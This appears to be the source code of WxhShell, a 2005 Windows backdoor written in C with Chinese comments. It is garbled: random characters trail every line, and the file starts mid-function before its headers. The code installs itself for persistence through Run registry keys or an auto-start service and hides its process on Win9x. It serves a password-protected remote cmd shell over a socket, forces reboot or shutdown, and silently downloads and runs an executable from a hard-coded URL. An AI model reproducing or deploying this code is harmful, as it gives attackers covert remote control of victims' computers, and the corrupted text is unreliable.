    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9-5H~<}fF  
    else { 4v_<<l  
    closesocket(wsh); FxW~Co  
    ExitThread(0); 3)3?/y)_  
    } jEo)#j];`<  
    break; 59 R;n.Q  
    } !#Ub*qY1Z  
  // 获取shell i]Njn k  
  case 's': { scT,yNV  
    CmdShell(wsh); $qV, z  
    closesocket(wsh); I r]#u]Ap  
    ExitThread(0); ]QlgVw,  
    break; hxZ5EKBy  
  } jb|al[p\  
  // 退出 EyO=M~nsS  
  case 'x': { 5bKM}? =L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $SQ UN*/>  
    CloseIt(wsh); 6j/g/!9c!  
    break; xf% _HMKc  
    } uB_8P+h7  
  // 离开 %-1-y]R|  
  case 'q': { D=Jj!;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NwP!.  
    closesocket(wsh); UuPXo66F ]  
    WSACleanup(); 6V-u<FJ  
    exit(1); H65><38X/  
    break; >pdWR1ox  
        } `\_>P@qz  
  } +N n $  
  } T+1:[bqK  
3Xcjr2]~  
  // 提示信息 1cq"H/N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `1 A,sXfa  
} >}? jOB  
  } A{NKHn>%`  
4&N#d;ErC  
  return; Pw+PBIGn4  
} JbX"K< nQ  
Mu: y9o95  
// shell模块句柄 }:+SA  
int CmdShell(SOCKET sock) H{ M7_1T  
{ G5A:C(r  
STARTUPINFO si; EdcbWf7  
ZeroMemory(&si,sizeof(si)); QiKci%=SX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J'}G~rB<<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~?#>QN\\c  
PROCESS_INFORMATION ProcessInfo; F \0>/  
char cmdline[]="cmd"; C-)mP- |8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2~`vV'K  
  return 0; w.X MyHj  
} (w[#h9j  
Aqy y\G;  
// 自身启动模式 3V uoDmG  
int StartFromService(void) O"^3,-  
{  R.x^  
typedef struct Y=83r]%  
{ nSy{ {d  
  DWORD ExitStatus; RISDjU3  
  DWORD PebBaseAddress; F+@/"1c  
  DWORD AffinityMask; 8FT]B/^&m  
  DWORD BasePriority; {&dbxj-'  
  ULONG UniqueProcessId; "%peYNZ&%  
  ULONG InheritedFromUniqueProcessId; Fc&3tw"g  
}   PROCESS_BASIC_INFORMATION; 76::X:76  
}_mVXjF  
PROCNTQSIP NtQueryInformationProcess; _+7+90u  
0Wkk$0h9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (1IYOlG4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #)r^ZA&E  
Q HU|aC{r  
  HANDLE             hProcess; \<ko)I#%  
  PROCESS_BASIC_INFORMATION pbi; p~'iK4[&6  
>V%lA3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6;:z?Q  
  if(NULL == hInst ) return 0; \1Xr4H u  
Yyxsj9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xfc+0$U@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y-?0!a=e.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |E?PQ?P  
r=Tz++!  
  if (!NtQueryInformationProcess) return 0; #Mw 6>5}<  
22OfbwCb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q\pI&B  
  if(!hProcess) return 0; cs lZ;  
y#T.w0*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r1 axC%  
tgyW:<iv  
  CloseHandle(hProcess); fZ aTckbE  
_lG|t6y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gU&y5s~  
if(hProcess==NULL) return 0; LwlO)|E  
]z#+3DaH  
HMODULE hMod; 6o0}7T%6  
char procName[255]; &t~NR$@  
unsigned long cbNeeded; S;0z%$y  
n1U!od  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \wV^uS   
&HQ_e$1  
  CloseHandle(hProcess); $PstEL  
?:tk8Kgf  
if(strstr(procName,"services")) return 1; // 以服务启动 {j6$'v)0  
I A%ZCdA;  
  return 0; // 注册表启动 u\{MQB{T  
} {^D; ($lm  
z+Guu8  
// 主模块 v,'k 2H  
int StartWxhshell(LPSTR lpCmdLine) ;Rlf[](iL  
{ Z;O!KsJ  
  SOCKET wsl; t[r 6jo7  
BOOL val=TRUE; Sa[?B  
  int port=0; J!Q #xs  
  struct sockaddr_in door; 9a2[_Wy  
XJ!?>)N .  
  if(wscfg.ws_autoins) Install(); )1 f%kp#]  
Z9G4in8  
port=atoi(lpCmdLine); G|o O  
G} f9:G  
if(port<=0) port=wscfg.ws_port; enx+,[  
tQ *?L  
  WSADATA data; ~GE|,Np  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F EUfskv  
AGl#f\_^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /X]gm\x7s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uO>x"D5tZ:  
  door.sin_family = AF_INET; 7Ll? #eun  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q45gC28x  
  door.sin_port = htons(port); p()q)P  
H_ a##z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~470LgpO1  
closesocket(wsl); **$kW bS  
return 1; -9~$Ll+2h  
} J&Db-  
RBz"1hRo`  
  if(listen(wsl,2) == INVALID_SOCKET) { /Xq|S O  
closesocket(wsl); IgjPy5k  
return 1; 1M.#7;#B3  
} 25f[s.pv8  
  Wxhshell(wsl); &q&~&j'[  
  WSACleanup(); $Zr \$z2  
&pQ[(|=(  
return 0; M]|]b-#  
Y<IuwS  
} Ee_?aG e&  
/6rQ.+|).  
// 以NT服务方式启动 vz(=3C[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g(auB/0s  
{ 'qUM38s  
DWORD   status = 0; 9OFH6-;6`\  
  DWORD   specificError = 0xfffffff;  &.(iS  
L8q#_k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |"PS e~ u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GSs?!BIC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q:nUn?zB  
  serviceStatus.dwWin32ExitCode     = 0; 3ZC@q #R A  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Ne9x\F  
  serviceStatus.dwCheckPoint       = 0; (t){o> l  
  serviceStatus.dwWaitHint       = 0; # > I_  
]cv/dY#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nrA 4N1  
  if (hServiceStatusHandle==0) return; T+x / J]A  
lI%RdA[  
status = GetLastError(); Wy\^}  
  if (status!=NO_ERROR) BL~#-Mm<|l  
{ yZ!~m3Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qRgFVX+vc  
    serviceStatus.dwCheckPoint       = 0; w:9`R<L  
    serviceStatus.dwWaitHint       = 0; 5VpqDL~d  
    serviceStatus.dwWin32ExitCode     = status; xbxzB<yL  
    serviceStatus.dwServiceSpecificExitCode = specificError; {Mj- $G"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KwV!smi2  
    return; Z t4q= Lr  
  } Buso `G  
=E$bZe8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j\wZjc-j  
  serviceStatus.dwCheckPoint       = 0; p0y|pD  
  serviceStatus.dwWaitHint       = 0; IhBQ1,&J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sPb}A$'  
} RX%)@e/@  
nGwon8&]]  
// 处理NT服务事件,比如:启动、停止 $0x+b!_l@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *P5\T4!+d  
{ O8A(OfX  
switch(fdwControl) +8W5amk.P|  
{ R>Dr1fc}  
case SERVICE_CONTROL_STOP: HL]J=Gh  
  serviceStatus.dwWin32ExitCode = 0;  Lagk   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oOc-1C y  
  serviceStatus.dwCheckPoint   = 0; ; w+  
  serviceStatus.dwWaitHint     = 0;  *  ]  
  {  j'Jb+@W?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J+Fev.9>  
  } kGs\"zZM  
  return; N@O e[X8  
case SERVICE_CONTROL_PAUSE: ~NPhVlT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6`iYIXnz  
  break; *zN~x(0{E  
case SERVICE_CONTROL_CONTINUE: `k*;%}X\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `#w#!@s#@  
  break; 2@?X>,  
case SERVICE_CONTROL_INTERROGATE: (,t[`z  
  break; GRJ6|T$!?$  
}; VwRZgL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E%;$vj'2  
} cl1ygpf(  
n_rpT .[  
// 标准应用程序主函数 1_Ks*7vuq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PNd'21N  
{ j!NXNuy:  
 @;KYvDY  
// 获取操作系统版本 qBcbMa9m  
OsIsNt=GetOsVer(); oemN$g&7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SUIJ{!F/  
b{,v?7^4  
  // 从命令行安装 wdf;LM  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0>Td4qr+u  
N P+ vi@Ud  
  // 下载执行文件 ?<BI)[B  
if(wscfg.ws_downexe) { %'i_iF8.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q\}-MiI/  
  WinExec(wscfg.ws_filenam,SW_HIDE); SrB>_0**  
} s3m \  
|c8\alw  
if(!OsIsNt) { +c!HXX  
// 如果时win9x,隐藏进程并且设置为注册表启动 rM,f7hm[S*  
HideProc(); ^&C/,,U  
StartWxhshell(lpCmdLine); Y>/_A%vQU  
} x7<NaMK\  
else RM,aG}6M)M  
  if(StartFromService()) tFc<f7k  
  // 以服务方式启动 T@{ab1KV  
  StartServiceCtrlDispatcher(DispatchTable); R) :Xs .  
else < `"  
  // 普通方式启动 z/h]Jos  
  StartWxhshell(lpCmdLine); KM)f~^  
NOwd'iU  
return 0; D!OY<?  
} aem gGw<  
R`DzVBLl  
kr~n5WiAZ  
boCi*]  
=========================================== R4VX*qkB  
5@r6'Z  
u-y?i`  
 K> 4w  
+ctU7 rVy  
) 3"!Q+  
" LxGD=b  
kvbW^pl  
#include <stdio.h> A D<>)(  
#include <string.h> nyqX\m-  
#include <windows.h> 52j3[in  
#include <winsock2.h> OI6Mx$  
#include <winsvc.h> LQr!0p.i"  
#include <urlmon.h> RCYv2=m>Q  
6nE/8m  
#pragma comment (lib, "Ws2_32.lib") 6;:D!},'c  
#pragma comment (lib, "urlmon.lib") .%7Le|Fb"  
g(X `.0  
#define MAX_USER   100 // 最大客户端连接数 {DKZ ~  
#define BUF_SOCK   200 // sock buffer )-1e} VF(U  
#define KEY_BUFF   255 // 输入 buffer \-]tvgA~&  
n.a2%,|v  
#define REBOOT     0   // 重启 H"^9g3 U  
#define SHUTDOWN   1   // 关机 6,jCO@!   
(B$>o.(JA  
#define DEF_PORT   5000 // 监听端口 Y$"m*0  
?B;7J7T  
#define REG_LEN     16   // 注册表键长度 1U.X[}e  
#define SVC_LEN     80   // NT服务名长度 ;92xSe"Ww  
fap]`P~#L  
// 从dll定义API M^8zqAA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w0Nm.=I-   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g.di3GGi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _V1:'T8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x:~XZX\mwH  
Rvu5#_P  
// wxhshell配置信息 %Rf9 KQ  
struct WSCFG { 60{DR >S  
  int ws_port;         // 监听端口 <`=Kt[_BQ  
  char ws_passstr[REG_LEN]; // 口令 ,G46i)E\  
  int ws_autoins;       // 安装标记, 1=yes 0=no aXqig&:  
  char ws_regname[REG_LEN]; // 注册表键名 ebJTrh<{  
  char ws_svcname[REG_LEN]; // 服务名 'Ca;gi !U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;b=diZE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R= mT J'y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^o _J0 ]m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^78N25RU(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5EVypw?]x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hZ>m:es  
KWjhkRK4]  
}; a}f /<-L  
7?uDh'utt  
// default Wxhshell configuration ]g;+7  
struct WSCFG wscfg={DEF_PORT, b(R.&X  
    "xuhuanlingzhe", XKZsX1=@R  
    1, ,q#SAZ/N  
    "Wxhshell", !',%kvJI  
    "Wxhshell", b/m.VL  
            "WxhShell Service", BQ u8$W  
    "Wrsky Windows CmdShell Service", {D",ao   
    "Please Input Your Password: ", @ewi96  
  1, X)iI]   
  "http://www.wrsky.com/wxhshell.exe", #"!ga)a%L  
  "Wxhshell.exe" x+za6e_k"  
    }; -hm/lxyU  
y7!&  
// 消息定义模块 +:ms`Sr>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w.J$(o(/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L)\<7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'Z.C&6_  
char *msg_ws_ext="\n\rExit."; Zqe$S +u  
char *msg_ws_end="\n\rQuit."; f1'X<VA  
char *msg_ws_boot="\n\rReboot..."; !LpjTMYs  
char *msg_ws_poff="\n\rShutdown..."; F."ZCEb  
char *msg_ws_down="\n\rSave to "; e4Qjx*[G  
U _A'/p^D  
char *msg_ws_err="\n\rErr!"; vdgK3I  
char *msg_ws_ok="\n\rOK!"; _6c/,a8;*J  
0U*f"5F  
char ExeFile[MAX_PATH]; *tRsm"}  
int nUser = 0; b+ycEs=_  
HANDLE handles[MAX_USER]; UcB&p t&  
int OsIsNt; "\}h  
CEw%_U@8  
SERVICE_STATUS       serviceStatus; .),9q z`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #prYZcHv:_  
.5s58H cg,  
// 函数声明 -V~Fj~b#  
int Install(void); pL[3,.@WA  
int Uninstall(void); $G)HU6hF*  
int DownloadFile(char *sURL, SOCKET wsh); #&r}J  
int Boot(int flag); CP2wg .  
void HideProc(void); @XtrC|dkkE  
int GetOsVer(void); _ {#K  
int Wxhshell(SOCKET wsl); M6Xzyt|  
void TalkWithClient(void *cs); @73kry v  
int CmdShell(SOCKET sock); `kvIw,c.  
int StartFromService(void); {Y2 J:x  
int StartWxhshell(LPSTR lpCmdLine); YRBJ(v"9  
-R]~kGa6m<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PIo@B|W-SX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %f("3!#H  
1twpOZ>  
// 数据结构和表定义 aj1,h)P  
SERVICE_TABLE_ENTRY DispatchTable[] = dr&G>  
{ 6A.%)whI;  
{wscfg.ws_svcname, NTServiceMain}, %vZHHBylu  
{NULL, NULL} \*{MgwF  
}; &v;fK$=2C  
.s4v*bng  
// 自我安装 j[\:#/J  
int Install(void) Dbi ^%  
{ 7R79[:uwJ  
  char svExeFile[MAX_PATH]; B?^~1Ua9Zv  
  HKEY key; J;wBS w%1  
  strcpy(svExeFile,ExeFile); Q=DMfJ"  
P=<lY},  
// 如果是win9x系统,修改注册表设为自启动 rf@47H  
if(!OsIsNt) { jLM y27Cn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pn9;&`t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m(9I+`  
  RegCloseKey(key); D{\o*\TN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2-Q5l*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FF^h(Ea  
  RegCloseKey(key); GLZ*5kw  
  return 0; ,66(*\xT  
    } VR1]CN"G  
  } $*N(feAs  
} a;IOL  
else { NV(jp'i~  
$]};EI#  
// 如果是NT以上系统,安装为系统服务 SKNHLE}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Rsq EAdZw[  
if (schSCManager!=0) E24}?t^|  
{ F[jqJzCz  
  SC_HANDLE schService = CreateService k1yqe rA  
  ( IOC$jab@  
  schSCManager, `5Z'8^  
  wscfg.ws_svcname, ,38M6yD  
  wscfg.ws_svcdisp, 3$P  
  SERVICE_ALL_ACCESS, }TZM@{;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "m6G;cv  
  SERVICE_AUTO_START, mDv<d=p!  
  SERVICE_ERROR_NORMAL, @f|~$$k=  
  svExeFile, c C) <Y#1  
  NULL, ~J~R.r/  
  NULL, ?F$#t6Q  
  NULL, $`\qY ^.(  
  NULL, =a=:+q g  
  NULL toD!RE  
  ); z ULH gG  
  if (schService!=0) N+ ]O#Js?  
  { Ce}m$k  
  CloseServiceHandle(schService); #l-zY}&  
  CloseServiceHandle(schSCManager); 4:O.x#p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tzgaHN  
  strcat(svExeFile,wscfg.ws_svcname); 2g5 4<G*e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jz;{,F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NPO!J^^  
  RegCloseKey(key); CXz9bhn<4  
  return 0; xfX|AC  
    } <Pe'&u  
  } iI'ib-d  
  CloseServiceHandle(schSCManager); ' i5}`\  
} N:pP@o  
} 9+<A7PM1T  
@44*<!da  
return 1; QALr   
} 1lA? 5:  
\Jc}Hzug  
// 自我卸载 /GJL&RMx  
int Uninstall(void) Ywt9^M|z;  
{ KdZ=g ZSH  
  HKEY key; %$)Sz[=  
zZ51jA9x  
if(!OsIsNt) { z,dF Dl$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mkt_pr  
  RegDeleteValue(key,wscfg.ws_regname); L:@COy  
  RegCloseKey(key); 'ju_l)(R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N^F5J  
  RegDeleteValue(key,wscfg.ws_regname); M1 o@v0  
  RegCloseKey(key); l$HBYA\Qh  
  return 0; 1_9Ka V  
  } $5\sV48f  
} 5BLBcw\;  
} n ^qwE  
else { =\i%,YY  
^aJ]|*m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E"/k"1@  
if (schSCManager!=0) mdmJne.  
{ 4 s9^%K\8{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?TW?2+  
  if (schService!=0) UIIsgNca  
  { B'vIL'  
  if(DeleteService(schService)!=0) { wJgGw5  
  CloseServiceHandle(schService); _|MK0'+f  
  CloseServiceHandle(schSCManager); *U8,Q]gS  
  return 0; hQ L@q7tUr  
  } c5Kc iTD^  
  CloseServiceHandle(schService); j#p3<V S4  
  } DmB?.l-  
  CloseServiceHandle(schSCManager); ,CqGO %DY  
} _IxYnm`pc  
} 6*|EB|%n  
*Kq;xM6Ck  
return 1; &f)pU>Di  
} !{g>g%2!  
%(\et%[]  
// 从指定url下载文件 s!F8<:FRJD  
int DownloadFile(char *sURL, SOCKET wsh) (CYQ>)a  
{ M4d4b  
  HRESULT hr; 2G:KaQ)  
char seps[]= "/"; cvtn,Ml6  
char *token; K[9P{0hA  
char *file; (ze9-!%  
char myURL[MAX_PATH]; $c+:dO|Fb  
char myFILE[MAX_PATH]; ^p%3@)&  
.NF3dC\  
strcpy(myURL,sURL); iWe'|Br  
  token=strtok(myURL,seps); }tH_YF}u  
  while(token!=NULL) y;.5AvfD  
  { criNeKa  
    file=token; S\k(0Sv9D  
  token=strtok(NULL,seps); kidv^`.H$w  
  } 7$"5qJ{s  
2 jxh7\zE  
GetCurrentDirectory(MAX_PATH,myFILE); u*7>0o|H:  
strcat(myFILE, "\\"); G/1V4-@  
strcat(myFILE, file); '|&?$g(\h  
  send(wsh,myFILE,strlen(myFILE),0); {q);1Nnf  
send(wsh,"...",3,0); ExOSHKU,e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vg"vC  
  if(hr==S_OK) +KP&D.wIo  
return 0; M=5hp&=  
else HJe6h. P  
return 1; @< 0c  
ZYTBc#f  
} ECuNkmUI  
5^2P\y(?  
// 系统电源模块 Bthp_cSmLs  
int Boot(int flag) _G^4KwYp  
{ Z?."cuTt  
  HANDLE hToken; tRTJQ  
  TOKEN_PRIVILEGES tkp; pEG!j ~  
Yjx4H  
  if(OsIsNt) { e{ZS"e`!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); % )}rQqQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xh*Nu HH  
    tkp.PrivilegeCount = 1; OI^qX;#Kd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^`9O$.'@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L5]uT`Twa  
if(flag==REBOOT) { Lhxg5cd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gnie|[3  
  return 0; Y0o{@)Y:  
} |Tk'H&  
else { ZBc8 ^QZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G=KXA'R)1.  
  return 0; sN/8OLc  
} %?O$xQ.<  
  } ,mE}#cyY  
  else { Fma#`{va  
if(flag==REBOOT) { /+?eSgM/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9f3rMPVh(  
  return 0; z3|5E#m  
} hsZ@)[/:  
else { ]/?$DNjCc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ]l=iKl  
  return 0; " 8g\UR"[  
} 2<uBC  
} C ?aa)H  
'.t{\  
return 1; h"ATRr^  
} "lBYn2W  
UH7FIM7kX  
// win9x进程隐藏模块 A7GWU{i  
void HideProc(void) f/^T:F6  
{ ujeN|W  
eY'RDQa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  e3%dNa  
  if ( hKernel != NULL ) HurF4IsHk  
  { `Wp& 'X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l }]"X@&G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zkHyx[L  
    FreeLibrary(hKernel); B3&ETi5NTU  
  } D#d \1g  
+qM2&M  
return; n@//d.T  
} NxN~"bfh  
)*9,H|2nS  
// 获取操作系统版本 Ihx[S!:  
int GetOsVer(void) E5t /-4  
{ (*V:{_r  
  OSVERSIONINFO winfo; D<Z]kR(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4siq  
  GetVersionEx(&winfo); CWS]821;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \-{2E  
  return 1; E[>A# l53  
  else kwrM3nq  
  return 0; RtF!(gd  
} <y,c.\c!  
V_jGL<X|  
// 客户端句柄模块 7$Pf  
int Wxhshell(SOCKET wsl)  ~5n?=  
{ g ~>nT>6  
  SOCKET wsh; <l$ vnq  
  struct sockaddr_in client; jluv}*If  
  DWORD myID; ]1|OQYG  
U ]O>DM^'  
  while(nUser<MAX_USER) F[~~fm_  
{ t9&=; s  
  int nSize=sizeof(client); D1Q]Z63,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !+n'0{  
  if(wsh==INVALID_SOCKET) return 1; FOS*X  
921s'"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IgKrcpK#}?  
if(handles[nUser]==0) Ba9"IXKH  
  closesocket(wsh); Xb1is\JB  
else L.% zs  
  nUser++; ~!'T!g%C  
  } 7}vx]p2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iy|xF~  
x=V3_HI/}  
  return 0; ~?KbpB|  
} X^d}eWP`I  
s,7 OoLE  
// 关闭 socket be>KG ZU0  
void CloseIt(SOCKET wsh) -8&P1jrI  
{ gTg[!}_;\N  
closesocket(wsh); \;!g@?CA  
nUser--; X'usd$[ .  
ExitThread(0); r,wC5%&Za  
} "_ON0._(/  
|kqRhR(Ei  
// 客户端请求句柄 6bBNC2K$-  
void TalkWithClient(void *cs) 6V-JyTcxGI  
{ CjLiLB  
+3?.Vb%jY  
  SOCKET wsh=(SOCKET)cs; -9$.&D|  
  char pwd[SVC_LEN]; 6tup^Rlo;$  
  char cmd[KEY_BUFF]; 2.&%mSN  
char chr[1]; 6#kK  
int i,j; O,0j+1?  
NeniQeR   
  while (nUser < MAX_USER) { ?P Mi#H  
_sF Ad`  
if(wscfg.ws_passstr) { |7b@w;q,D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1#nY Z%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *m`F-J6U  
  //ZeroMemory(pwd,KEY_BUFF); 8lF:70wia  
      i=0; LO)p2[5#R  
  while(i<SVC_LEN) { = '<*mT<  
Q$~_'I7~Mz  
  // 设置超时 ]?~[!&h  
  fd_set FdRead; DK(8Ml:k  
  struct timeval TimeOut; M/jdMfU  
  FD_ZERO(&FdRead); &dJ\}O[r  
  FD_SET(wsh,&FdRead); QE`u~  
  TimeOut.tv_sec=8; UsdUMt!u  
  TimeOut.tv_usec=0; p i\SRDP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); els71t -  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [)nU?l  
}1P v6L(o)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~lH2# u>g  
  pwd=chr[0]; \"$jj<gc  
  if(chr[0]==0xd || chr[0]==0xa) { q ?m<9`  
  pwd=0; _"- ,ia[D  
  break; H:X(><J  
  } bdvVPjGc&  
  i++; (h% xqXs  
    } XI;F=r}'  
^-7-jZ@jz  
  // 如果是非法用户,关闭 socket LgA> ,.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #,rP1#?  
} .,gVquqMY  
+!"7=?}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A|BN >?.t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ms=11C  
61`tQFx,  
while(1) { PsI{y&.  
*|)O  
  ZeroMemory(cmd,KEY_BUFF); /P/::$  
=B ts  
      // 自动支持客户端 telnet标准   Q&?B^[N*Q  
  j=0; +fG~m:E  
  while(j<KEY_BUFF) { aN~x3G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H]>7IhJ  
  cmd[j]=chr[0]; s:Z1 ZAxv  
  if(chr[0]==0xa || chr[0]==0xd) { 8YkCTJfBGu  
  cmd[j]=0; 1DM$FG_Z-  
  break; fh@/fd  
  } /G#W/Q  
  j++; Y~I6ee,\  
    } scR+F'M  
hV"2L4/E  
  // 下载文件 ((tWgSZ3  
  if(strstr(cmd,"http://")) { -/J2;AkGH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T1fX[R ^\  
  if(DownloadFile(cmd,wsh)) $ q$\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E0"DHjR  
  else a: [m;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {;?bC'  
  } _tVrLb7`s  
  else { iuWw(dJk  
}o9(Q8  
    switch(cmd[0]) { r;OE6}L>  
  '2c4 4F)i  
  // 帮助 Gm'Ch}E  
  case '?': { p|R]/C0f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C'CdVDm X  
